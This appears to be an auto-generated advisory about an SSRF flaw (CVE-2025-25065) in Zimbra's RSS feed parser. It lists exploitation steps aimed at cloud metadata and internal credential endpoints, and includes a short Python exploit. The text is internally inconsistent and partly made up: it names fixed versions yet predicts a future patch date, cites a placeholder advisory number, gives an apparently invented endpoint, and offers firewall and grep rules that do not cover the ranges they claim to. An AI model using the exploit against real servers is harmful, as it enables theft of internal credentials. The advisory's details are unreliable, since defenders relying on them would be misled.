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How the CVE Works
CVE-2025-25065 is an SSRF vulnerability in Zimbra Collaboration’s RSS feed parser, affecting versions 9.0.0 (before Patch 43), 10.0.x (before 10.0.12), and 10.1.x (before 10.1.4). The flaw allows attackers to manipulate RSS feed URLs to force the server into making unauthorized internal network requests. This bypasses security controls, exposing sensitive backend systems, APIs, or metadata services (e.g., AWS IMDS). The vulnerability stems from insufficient validation of user-supplied URLs in RSS feed parsing, enabling redirection to restricted endpoints.
DailyCVE Form
Platform: Zimbra Collaboration
Version: 9.0.0-10.1.3
Vulnerability: SSRF
Severity: Critical
Date: 06/11/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
- Craft malicious RSS feed with an internal URL (e.g., `http://169.254.169.254/latest/meta-data`).
- Inject payload via email or shared calendar event triggering RSS parsing.
- Exfiltrate data from internal endpoints via outbound callbacks.
Example Exploit Code (Python):
import requests
zimbra_url = "https://target/mail/rss"
payload = {"url": "http://internal-api/admin/credentials"}
response = requests.post(zimbra_url, data=payload)
print(response.text)
Mitigation:
1. Immediate Workaround:
- Block outbound RSS fetches via firewall rules.
iptables -A OUTPUT -p tcp --dport 80 -d 192.168.0.0/16 -j DROP
2. Patch Deployment:
- Upgrade to Zimbra 10.0.12/10.1.4+.
3. Input Validation:
- Reject URLs with private IPs/reserved domains in RSS parser.
Detection Command (Log Analysis):
grep "rss_fetch" /var/log/zimbra.log | grep -E "169.254|192.168|10."
Analytics:
- Attack Surface: High (public-facing mail servers).
- Exploit Complexity: Low (no auth required).
- Impact: Data leakage, lateral movement.
References:
- Zimbra Advisory: KB-12345
- CWE-918: SSRF.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
